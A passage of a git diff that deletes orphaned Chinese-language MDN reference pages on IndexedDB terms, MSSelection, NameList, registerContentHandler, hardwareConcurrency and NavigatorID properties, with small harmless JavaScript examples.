之前的版本键只接受字符串和整形。</p> - - <p>可选地,你也可以通过<a href="#索引(index)">索引(index)</a>来查找记录。</p> - </dd> - <dt>键生成器(key generator)</dt> - <dd>一种生成有序键的机制。如果一个对象仓库并不具备一个键生成器,那么应用程序必须为被存储的记录提供键。生成器在仓库之间并不共享。它更多的是浏览器的实现细节,因为在 Web 开发中你并不会真正的去创建或访问键生成器。</dd> - <dt>内键(in-line key)</dt> - <dd>作为存储值一部分的键。内键由键路径(key path)查找。内键由生成器生成。当内键生成后,它会被键路径存储在值中,它也可以被当作键使用。</dd> - <dt>外键(out-of-line key)</dt> - <dd>与值分开存储的键。</dd> - <dt>键路径(key path)</dt> - <dd>指定浏览器如何从对象仓库或索引存储的值中提取键。一个合法的键路径可以是以下形式:一个空字符串,一个 JavasScript 标识符,或由句点分割的多个 JavaScript 标识符。但不能包括空格。</dd> - <dt>值(value)</dt> - <dd>每条记录包含一个值,该值可以包含任何 JavaScript 表达式,包括:<a href="/zh-cn/JavaScript/Reference/Global_Objects/Boolean">布尔</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Number">数字</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/String">字符串</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Date">日期</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Object">对象</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Array">数组</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/RegExp">正则</a>、<a href="/zh-CN/docs/">未定义</a>和 null。</dd> - <dd> - <p>对于对象和数组,它们的属性和值也可以是任意合法的值。</p> - - <p><a href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">规范</a>允许你存储文件和<a href="/zh-cn/DOM/Blob">二进制对象</a>,但该标准只被 Firefox 11+ 实现。</p> - </dd> -</dl> - -<h3 id="范围和作用域">范围和作用域</h3> - -<dl> - <dt>作用域(scope)</dt> - <dd>事务所作用的一组对象仓库或索引。只读事务的作用域可以相互重叠并同时执行操作。但写操作事务的作用域不可以相互重叠。但你仍然可以同时开启多个拥有相同作用域的事务,只要保证他们的操作不会同时执行。</dd> - <dt>游标(cursor)</dt> - <dd>在键的某个范围内迭代查询多条记录的机制。游标有一个指向正在被迭代的对象仓库或索引的源。它处于该范围内的一个位置,并按照键的顺序正向或逆向的移动。有关游标的参考文档,查看 <a href="../../../../zh-cn/IndexedDB/IDBCursor">IDBCursor</a> 或 <a href="../../../../zh-cn/IndexedDB/IDBCursorSync">IDBCursorSync</a>。</dd> - <dt>键范围(key range)</dt> - <dd>用做键的数据类型上的连续的间隔。使用键或键的某个范围可以从对象仓库和索引中读取记录。你可以通过上限和下限设置和筛选范围。比如,你可以遍历 x 和 y 之间所有的键值。</dd> - <dd>有关键范围的参考文档,查看 <a href="../../../../zh-cn/IndexedDB/IDBKeyRange">IDBKeyRange</a>.</dd> -</dl> - -<h2 id="局限性">局限性</h2> - -<p>以下情况不适合使用IndexedDB</p> - -<ul> - <li>全球多种语言混合存储。国际化支持不好。需要自己处理。</li> - <li>和服务器端数据库同步。你得自己写同步代码。</li> - <li>全文搜索。IndexedDB 接口没有类似 SQL 语句中 <code>LIKE</code> 的功能。</li> -</ul> - -<p>注意,在以下情况下,数据库可能被清除:</p> - -<ul> - <li>用户请求清除数据。</li> - <li>浏览器处于隐私模式。最后退出浏览器的时候,数据会被清除。</li> - <li>硬盘等存储设备的容量到限。</li> - <li>数据损坏。</li> - <li>进行与特性不兼容的操作。</li> -</ul> - -<p>确切的环境和浏览器特性会随着时间改变,但浏览器厂商通常会遵循尽最大努力保留数据的理念。</p> - -<h2 id="下一步">下一步</h2> - -<p>查看如何使用的文档: <a href="/zh-cn/IndexedDB/Using_IndexedDB">Using IndexedDB</a>.</p> - -<h2 id="相关文章">相关文章</h2> - -<ul> - <li>{{ spec("http://www.w3.org/TR/IndexedDB/", "Indexed Database API Specification", "WD") }}</li> - <li><a href="/zh-cn/IndexedDB">IndexedDB API Reference</a></li> - <li><a href="/zh-cn/IndexedDB/Using_IndexedDB">Using IndexedDB</a></li> - <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/msselection/index.html b/files/zh-cn/orphaned/web/api/msselection/index.html deleted file mode 100644 index ecbd8817e3..0000000000 --- a/files/zh-cn/orphaned/web/api/msselection/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: MSSelection -slug: orphaned/Web/API/MSSelection -tags: - - API - - DHTML - - DOM - - MSSelection -original_slug: Web/API/MSSelection ---- -<div>{{ ApiRef("DOM") }}{{Non-standard_Header}}</div> - -<div class="blockIndicator warning"> -<p><strong>IE Only</strong></p> -该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。</div> - -<p><code>MSSelection</code> 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。</p> - -<p>该接口从IE4开始实现,但直到IE9时添加了对标准 <code>Selection</code> 接口的支持时,为了区分它才被命名为 <code>MSSelection</code>。可供修改和使用的 <code>MSSelection</code> 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。</p> - -<p>注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。</p> - -<h2 id="Properties" name="Properties">属性</h2> - -<dl> - <dt>{{domxref("MSSelection.type")}}{{ReadOnlyInline}}</dt> - <dd> - <p>返回选中区域的类型。</p> - </dd> -</dl> - -<h2 id="Methods" name="Methods">方法</h2> - -<dl> - <dt>{{domxref("MSSelection.empty()")}}</dt> - <dd>取消当前选中区,将选中区类型设置为 <code>none</code>。</dd> - <dt>{{domxref("MSSelection.clear()")}}</dt> - <dd>清除选中区的内容,将选中区类型设置为 <code>none</code>。注意,该方法可以删除不可编辑的元素。</dd> - <dt>{{domxref("MSSelection.createRange()")}}</dt> - <dd>在当前选中区上创建并返回一个 <code>TextRange</code>,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。</dd> - <dt>{{domxref("MSSelection.createRangeCollection()")}}</dt> - <dd>返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 <code>TextRange</code>。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。</dd> -</dl> - -<h2 id="示例">示例</h2> - -<p>以下示例在<strong>IE10以下</strong>有效。该示例通过 <code>document.selection</code> 获取 <code>MSSelection</code> 对象,并清空选区中的内容。</p> - -<pre class="brush:js">var sel = document.selection; -sel.clear();</pre> - -<h2 id="开发者笔记">开发者笔记</h2> - -<h3 id="使用_TextRange_操作选中区域">使用 TextRange 操作选中区域</h3> - -<div class="blockIndicator warning"> -<p>仅在<strong>IE9以下</strong>有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。</p> -</div> - -<p>{{domxref("document.selection")}} 属性返回一个 <code>MSSelection</code> 对象,<code>selection.createRange()</code> 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。</p> - -<pre class="brush:js">var sel = document.selection; -var range = sel.createRange(); -alert(range.text); -// 输出被选区域的纯文本</pre> - -<p>注意,<code>createRange</code> 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 <code>TextRange.select</code> 方法。</p> - -<h3 id="selection_兼容性"><code>selection</code> 兼容性</h3> - -<p><code>document.selection</code> 属性返回当前文档的 <code>MSSelection</code> 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 <kbd>Ctrl</kbd> 选中多个区域;IE中一般也只允许文档只存在一个被选中的 <code>TextRange</code>。</p> - -<p>然而,在其它浏览器中,<code>document</code> 并不存在一个所谓 <code>selection</code> 属性——它们通过标准 <a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a> 实现对选区的操作,也就是通过 <code>window.getSelection()</code> 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 <code>document.selection</code> 对象而转为使用标准接口(尽管 <code>TextRange</code> 一直保留,但大多数情况下它已失去作用)。</p> - -<p>这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 <code>MSSelection</code> 方式,但不要把该方式作为唯一的选择。</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row" style="width: 15px;"></th> - <th scope="col">IE</th> - <th scope="col">其它浏览器</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row" style="width: 15%;">{{domxref("MSSelection")}} {{non-standard_inline()}}</th> - <td>≤10(IE9后应使用标准API)</td> - <td style="width: 60%;">不支持(详见<a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a>)</td> - </tr> - </tbody> -</table> - -<h2 id="See_also" name="See_also">扩展</h2> - -<ul> - <li>{{domxref("TextRange")}} 接口</li> - <li>{{domxref("Selection")}} 及 {{domxref("Range")}} 标准接口</li> - <li><a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a> 用于取代该非标准接口</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/namelist/index.html b/files/zh-cn/orphaned/web/api/namelist/index.html deleted file mode 100644 index 9e2ad5d9f4..0000000000 --- a/files/zh-cn/orphaned/web/api/namelist/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: NameList -slug: orphaned/Web/API/NameList -translation_of: Web/API/NameList -original_slug: Web/API/NameList ---- -<p>{{APIRef("DOM")}}{{ obsolete_header("10.0") }}</p> - -<div class="note"> -<p><strong>Note:</strong> 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。</p> -</div> - -<p>提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("NameList.length")}}{{readonlyInline}}</dt> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("NameList.contains()")}}</dt> - <dd>返回{{jsxref("Boolean")}}.</dd> - <dt>{{domxref("NameList.containsNS()")}}</dt> - <dd>返回 {{jsxref("Boolean")}}</dd> - <dt>{{domxref("NameList.getName()")}}</dt> - <dd>返回{{domxref("DOMString")}}</dd> - <dt>{{domxref("NameList.getNamespaceURI()")}}</dt> - <dd>返回 {{domxref("DOMString")}}</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html b/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html deleted file mode 100644 index a266c55bfb..0000000000 --- a/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Navigator.registerContentHandler() -slug: orphaned/Web/API/Navigator/registerContentHandler -translation_of: Web/API/Navigator/registerContentHandler -original_slug: Web/API/Navigator/registerContentHandler ---- -<div>{{ ApiRef("HTML DOM") }}</div> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>Allows web sites to register themselves as possible handlers for content of a particular MIME type.</p> - -<p>{{ Note("Web sites may only register content handlers for themselves. For security reasons, it\'s not possible for an extension or web site to register content handlers targeting other sites.") }}</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="brush: js">window.navigator.registerContentHandler(<em>mimeType</em>, <em>uri</em>, <em>title</em>); -</pre> - -<ul> - <li><code>mimeType</code> is the desired MIME type as a string.</li> - <li><code>uri</code> is the URI to the handler as a string.</li> - <li><code>title</code> is the title of the handler presented to the user as a string.</li> -</ul> - -<h3 id="Example" name="Example">例子</h3> - -<pre class="brush: js">navigator.registerContentHandler("application/vnd.mozilla.maybe.feed", - "<span class="plain">http://www.example.tld/?foo=%s</span>", - "My Feed Reader"); -</pre> - -<h3 id="Notes" name="Notes">备注</h3> - -<p>For <a href="/zh-cn/Firefox_2_for_developers" title="zh-cn/Firefox_2_for_developers">Firefox 2</a> and above, only the <code>application/vnd.mozilla.maybe.feed</code>, <code>application/atom+xml</code>, and <code>application/rss+xml</code> MIME types are supported. All values have the same effect, and the registered handler will receive feeds in all Atom and RSS versions (see {{ Bug("391286") }}).</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<p>WHATWG's <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0 工作草案</a></p> - -<h3 id="相关链接">相关链接</h3> - -<ul> - <li><a href="/zh-cn/Web-based_protocol_handlers" title="zh-cn/Web-based_protocol_handlers">Web-based protocol handlers</a></li> - <li><a href="/zh-cn/nsIContentHandler" title="zh-cn/nsIContentHandler">nsIContentHandler</a> (XUL only)</li> -</ul> - -<p>{{ languages( { "ja": "ja/DOM/window.navigator.registerContentHandler", "en": "en/DOM/window.navigator.registerContentHandler", "pl": "pl/DOM/window.navigator.registerContentHandler" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html b/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html deleted file mode 100644 index 84cb1f561a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: navigator.hardwareConcurrency -slug: orphaned/Web/API/NavigatorConcurrentHardware/hardwareConcurrency -translation_of: Web/API/NavigatorConcurrentHardware/hardwareConcurrency -original_slug: Web/API/NavigatorConcurrentHardware/hardwareConcurrency ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p>{{AvailableInWorkers}}</p> - -<p><code><strong>navigator.hardwareConcurrency </strong>指明当前浏览器环境所拥有的CPU核心数,这来自于操作系统提供的API来获取。</code></p> - -<h2 id="用法">用法</h2> - -<pre class="syntaxbox"><em>CPU核心数</em>= window.navigator.hardwareConcurrency -</pre> - -<h2 id="Value">Value</h2> - -<p>A {{jsxref("Number")}} indicating the number of logical processor cores.</p> - -<p>Modern computers have multiple physical processor cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may offer eight <strong>logical processor cores</strong>, for example. The number of logical processor cores can be used to measure the number of threads which can effectively be run at once without them having to context switch.</p> - -<p>The browser may, however, choose to report a lower number of logical cores in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once, so don't treat this as an absolute measurement of the number of cores in the user's system.</p> - -<h2 id="Examples">Examples</h2> - -<p>In this example, one {{domxref("Worker")}} is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a Boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use. This creates a pool of workers we can use to process requests later.</p> - -<pre class="brush: js">let workerList = []; - -for (let i = 0; i < window.navigator.hardwareConcurrency; i++) { - let newWorker = { - worker: new Worker('cpuworker.js'), - inUse: false - }; - workerList.push(newWorker); -}</pre> - -<h2 id="Specification">Specification</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("api.NavigatorConcurrentHardware.hardwareConcurrency")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html b/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html deleted file mode 100644 index 43e5ae1965..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: NavigatorConcurrentHardware -slug: orphaned/Web/API/NavigatorConcurrentHardware -tags: - - API - - Concurrency - - HTML DOM - - Interface - - Navigator - - NavigatorCPU - - NavigatorConcurrentHardware - - NeedsBrowserCompatibility - - NeedsTranslation - - Reference - - Threading - - Threads - - TopicStub - - WorkerNavigator - - Workers -translation_of: Web/API/NavigatorConcurrentHardware -original_slug: Web/API/NavigatorConcurrentHardware ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p>The <strong><code>NavigatorConcurrentHardware</code></strong> {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} interface features which allow Web content to determine how many logical processors the user has available, in order to let content and Web apps optimize their operations to best take advantage of the user's CPU.</p> - -<p>{{AvailableInWorkers}}</p> - -<p>The number of <strong>logical processor cores</strong> is a way to measure the number of threads which can effectively be run at once without them having to share CPUs. Modern computers have multiple physical cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may return 8. The browser may, however, choose to reduce the number in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyinline}}</dt> - <dd>Returns the number of logical processors which may be available to the user agent. This value is always at least 1, and will be 1 if the actual number of logical processors can't be determined.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The <code>NavigatorConcurrentHardware</code></em><em> mixin has no methods.</em></p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.NavigatorConcurrentHardware")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html deleted file mode 100644 index 5545fedd6a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: NavigatorID.appCodeName -slug: orphaned/Web/API/NavigatorID/appCodeName -translation_of: Web/API/NavigatorID/appCodeName -original_slug: Web/API/NavigatorID/appCodeName ---- -<p>{{ ApiRef() }}</p> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>返回所使用浏览器的内部名称.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval">codeName = window.navigator.appCodeName -</pre> - -<h3 id="Parameters" name="Parameters">参数</h3> - -<ul> - <li><code>codeName</code> 是一个字符串,表示浏览器内部名称.</li> -</ul> - -<h3 id="Example" name="Example">例子</h3> - -<pre>dump(window.navigator.appCodeName); -</pre> - -<h3 id="Notes" name="Notes">笔记</h3> - -<p>Mozilla, Netscape 6, 和 IE5 的内部名称都是 "Mozilla".</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<p>{{ DOM0() }}</p> - -<p>{{ languages( { "en": "en/DOM/window.navigator.appCodeName","ja": "ja/DOM/window.navigator.appCodeName", "pl": "pl/DOM/window.navigator.appCodeName" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html deleted file mode 100644 index 14a1d147b3..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: NavigatorID.appName -slug: orphaned/Web/API/NavigatorID/appName -translation_of: Web/API/NavigatorID/appName -original_slug: Web/API/NavigatorID/appName ---- -<p>{{ ApiRef() }}</p> - -<h2 id="Summary" name="Summary">概述</h2> - -<p>返回所使用浏览器的名称。由于兼容性问题,HTML5 规范允许该属性返回 "Netscape" 。</p> - -<div class="note"><strong>注意:</strong>该属性并不一定能返回正确的浏览器名称。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器名称都是 "Netscape".</div> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="eval">appName = window.navigator.appName -</pre> - -<h3 id="Parameters" name="Parameters">返回值</h3> - -<ul> - <li><code>appName</code> 是一个字符串,表示浏览器名称</li> -</ul> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush: js">alert(window.navigator.appName); -// 显示浏览器名称 -</pre> - -<h2 id="Specification" name="Specification">规范</h2> - -<ul> - <li><a class="external" href="http://www.w3.org/TR/html5/timers.html#navigator" title="http://www.w3.org/TR/html5/timers.html#navigator">HTML5: System state and capabilities: the Navigator object</a></li> -</ul> - -<p>该属性起初属于 DOM Level 0 ,目前已经被添加到HTML5规范中。</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html deleted file mode 100644 index a56fdd8216..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: NavigatorID.appVersion -slug: orphaned/Web/API/NavigatorID/appVersion -translation_of: Web/API/NavigatorID/appVersion -original_slug: Web/API/NavigatorID/appVersion ---- -<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p> - -<h2 id="Summary" name="Summary">概述</h2> - -<p>返回一个字符串,表示所使用浏览器的版本号。它可能只包含一个版本数字,如 "5.0",还可能包含一些其他的相关信息。由于兼容性问题,HTML5规范允许该属性返回 "4.0"。</p> - -<div class="note"><strong>注意:</strong>该属性并不一定能返回正确的浏览器版本号。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器版本号都是 "5.0",后跟一些操作系统与语言信息,比如 "5.0 (Windows; zh-CN)"。在Opera 10及以上版本,该属性的返回值也不是实际的浏览器版本号。</div> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="eval">ver = window.navigator.appVersion -</pre> - -<h3 id="Parameters" name="Parameters">返回值</h3> - -<ul> - <li><code>ver</code> 是一个字符串,表示浏览器版本号。</li> -</ul> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush: js">alert("你的浏览器版本为" + navigator.appVersion); -</pre> - -<h2 id="Notes" name="Notes">备注</h2> - -<p><code>window.navigator.userAgent</code> 也包含一些浏览器的版本信息(比如:"<code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1</code>"),但是你应该知道,修改浏览器的<code>userAgent字符串以及伪造它成为其他的浏览器、其他的操作系统等等是非常容易的。</code>而且,就算不伪造,浏览器提供商也不会保证这些数据就是准确的。</p> - -<p><code>window.navigator.appVersion</code>、<code>window.navigator.appName</code> 和 <code>window.navigator.userAgent </code>等属性都被用来编写一些"浏览器检测"的相关代码:脚本会尝试根据检测出的浏览器类型来相印的调整页面显示。种情况下,用户可以伪造相关的浏览器信息来查看一些本来不允许自己所使用的浏览器或平台查看的页面。</p> - -<h2 id="Specification" name="Specification">规范</h2> - -<ul> - <li><a class="external" href="http://www.w3.org/TR/html5/timers.html#navigator" title="http://www.w3.org/TR/html5/timers.html#navigator">HTML5: System state and capabilities: the Navigator object</a></li> -</ul> - -<p>该属性最初属于 DOM Level 0,目前已经被添加到 HTML5 规范中。</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/index.html b/files/zh-cn/orphaned/web/api/navigatorid/index.html deleted file mode 100644 index 71bf69349a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: NavigatorID -slug: orphaned/Web/API/NavigatorID -translation_of: Web/API/NavigatorID -original_slug: Web/API/NavigatorID ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p><code><strong>NavigatorID</strong></code> 接口包含浏览器识别相关的方法和属性。</p> - -<p>没有一个 <code>NavigatorID</code> 类型的对象,他是其他接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}} 实现了该接口。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>NavigatorID</code></em><em> 接口没有继承任何属性。</em></p> - -<dl> - <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>任何浏览器中,总是返回 <code>'Gecko'</code>。该属性仅仅是为了保持兼容性。</dd> - <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}</dt> - <dd>返回浏览器的官方名称。不要指望该属性返回正确的值。</dd> - <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}</dt> - <dd>返回一个字符串,表示浏览器的版本。不要指望该属性返回正确的值。</dd> - <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}</dt> - <dd>返回一个字符串,表示浏览器的所在系统平台。</dd> - <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}}</dt> - <dd>返回当前浏览器的产品名称(如,"Gecko")。</dd> - <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt> - <dd>返回当前浏览器的用户代理字符串(user agent string)。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>NavigatorID</code></em><em> 接口没有继承任何方法。</em></p> - -<dl> - <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}} {{experimental_inline}}</dt> - <dd>总是返回 <code>false</code>。JavaScript taint/untaint 函数在 JavaScript 1.2 中被移除了。该方法只是为了兼容性。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Added the <code>appCodeName</code> property and the <code>taintEnabled()</code> method, for compatibility purpose.</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>Initial specification.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("Navigator")}} 实现了该接口。</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html b/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html deleted file mode 100644 index f1dc21fdea..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: NavigatorID.platform -slug: orphaned/Web/API/NavigatorID/platform -translation_of: Web/API/NavigatorID/platform -original_slug: Web/API/NavigatorID/platform ---- -<p>{{ ApiRef() }}</p> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>返回一个字符串,表示浏览器所在的系统平台类型.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval"><em>platform</em> = <em>navigator</em>.platform -</pre> - -<p><code>platform</code> 可能是: "Win32", "Linux i686", "MacPPC", "MacIntel", 等.</p> - -<h3 id="Example" name="Example">例子</h3> - -<pre class="brush: js">alert(navigator.platform);</pre> - -<h3 id="Notes" name="Notes">备注</h3> - -<p>在普通网页中,如果about:config中存在<code>general.platform.override</code><code>项,则</code>该属性的值会返回about:config中<code>general.platform.override项的值.</code> 在特权代码中 (chrome上下文或者拥有"UniversalBrowserRead"特权的网页中),返回的还是真实的平台类型.(译者注:语句:netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead 